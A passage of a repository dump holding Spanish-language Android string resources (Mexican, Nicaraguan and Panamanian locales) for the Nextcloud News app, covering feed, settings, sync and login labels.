    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rMX/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"move_feed_root_folder\">Carpeta raíz</string>\n\n\n    <string name=\"action_folder_rename\">Renombrar carpeta</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"pref_general_search_in_both\">Ambos</string>\n\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"exit_playback\">Salir del reproductor</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <string name=\"dialog_podcast_remove_title\">¿Estás seguro?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Borrar</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Configuración predeterminada del sistema</string>\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_show_password\">Mostrar contraseña</string>\n    <string name=\"content_desc_delete\">Eliminar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_min_45\">45 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 horas</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Cambiar cuenta</string>\n    \n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rNI/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rPA/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    